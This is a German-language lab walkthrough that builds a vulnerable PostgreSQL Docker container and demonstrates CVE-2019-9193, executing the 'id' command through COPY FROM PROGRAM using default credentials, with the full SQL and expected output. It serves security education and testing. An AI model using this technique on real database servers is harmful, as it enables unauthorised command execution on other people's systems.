
Docker-basiertes Labor, das die PostgreSQL-Befehlsausführung CVE-2019-9193 via COPY FROM PROGRAM demonstriert, mit Schritt-für-Schritt-PoC für Sicherheitstests und Bildung.
PostgreSQL ist ein leistungsstarkes, quelloffenes relationales Datenbankverwaltungssystem. Eine in den Versionen 9.3 bis 11 vorhandene Schwachstelle ermöglicht Administratoren oder Benutzern mit den COPY TO/FROM PROGRAM-Berechtigungen, beliebige Befehle auf dem System auszuführen.
docker-compose.ymlErstelle eine Datei docker-compose.yml mit folgendem Inhalt:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
Führe den Container mit folgendem Befehl aus:
docker compose up -d
Überprüfe, dass der Container läuft:
docker ps
Die Ausgabe sollte den PostgreSQL-Container zeigen, der auf Port 5432 lauscht.
Wenn du den Client psql nicht installiert hast, kannst du ihn so installieren:
apt-get install postgresql-client
Verbinde dich direkt von Kali aus mit der Datenbank:
psql -h localhost -p 5432 -U postgres
Du wirst nach dem Passwort gefragt, gib ein:
postgres
Sobald du mit der PostgreSQL-Konsole verbunden bist, führe die folgenden Befehle aus, um die Schwachstelle auszunutzen:
-- Elimina la tabella se esiste
DROP TABLE IF EXISTS cmd_exec;
-- Crea una nuova tabella per memorizzare l'output del comando
CREATE TABLE cmd_exec(cmd_output text);
-- Esegui il comando 'id' tramite la funzione COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Visualizza l'output del comando
SELECT * FROM cmd_exec;
Du kannst alles direkt über die Befehlszeile ausführen:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
Wenn der Exploit erfolgreich war, solltest du eine ähnliche Ausgabe sehen:
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
Drücke \q zum Verlassen:
\q
Diese Schwachstelle ermöglicht die beliebige Ausführung von Befehlen mit Administratorrechten. Verwende sie nur in kontrollierten Umgebungen und zu Studien- oder Überprüfungszwecken. Die Ausnutzung dieser Schwachstelle auf nicht autorisierten Systemen ist illegal.